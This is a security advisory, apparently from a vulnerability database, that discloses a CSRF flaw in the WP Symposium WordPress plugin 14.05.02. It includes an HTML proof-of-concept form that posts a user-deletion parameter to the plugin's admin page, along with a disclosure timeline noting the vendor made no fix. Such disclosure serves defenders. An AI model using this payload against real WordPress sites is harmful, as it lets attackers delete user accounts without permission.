WordPress Symposium 14.05.02 Cross Site Request Forgery

🗓️ 17 Dec 2015 00:00:00Reported by Madhu AkulaType

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WordPress Symposium CSRF vulnerability version 14.05.0

`Plugin Name : WP Symposium A8-Cross-Site_Request_Forgery_(CSRF)  
  
Effected Version : 14.05.02 (and most probably lower version's if any)  
  
Vulnerability : A8-Cross-Site Request Forgery (CSRF)  
  
Identified by : Madhu Akula  
  
  
  
Technical Details  
  
Minimum Level of Access Required : Unauthenticated  
  
PoC - (Proof of Concept) :  
  
<html>  
<body>  
<form action="http://localhost/wp-admin/admin.php?page=symposiym_manage" method="POST">  
<input type="hidden" name="delete_wps&#95";user_id" value="7" />  
<input type="submit" value="Submit Request" />  
</form>  
</body>  
</html>  
  
  
Video Demonstration:  
  
https://www.youtube.com/watch?v=prPj0YP1LOw  
  
Vulnerable Parameter : delete_wps_user_id  
  
Impact : By using this vulnerability attacker can delete any word press user  
  
Fixed in : No change  
  
  
  
Disclosure Timeline  
  
Vendor Contacted : 2014-08-01  
  
Plugin Status : No Change on 2014-08-02  
  
Public Disclosure : October 3, 2015  
  
CVE Number : Not assigned yet  
  
Plugin Description :  
  
WP Symposium turns a WordPress website into a Social Network! It is a WordPress plugin that provides a forum, activity (similar to Facebook wall), member directory, private mail, notification panel, chat windows, profile page, social widgets, activity alerts, RSS activity feeds, Groups, Events, Gallery, Facebook Connect and Mobile support! You simply choose which you want to activate! Certain features are optional to members to protect their privacy.  
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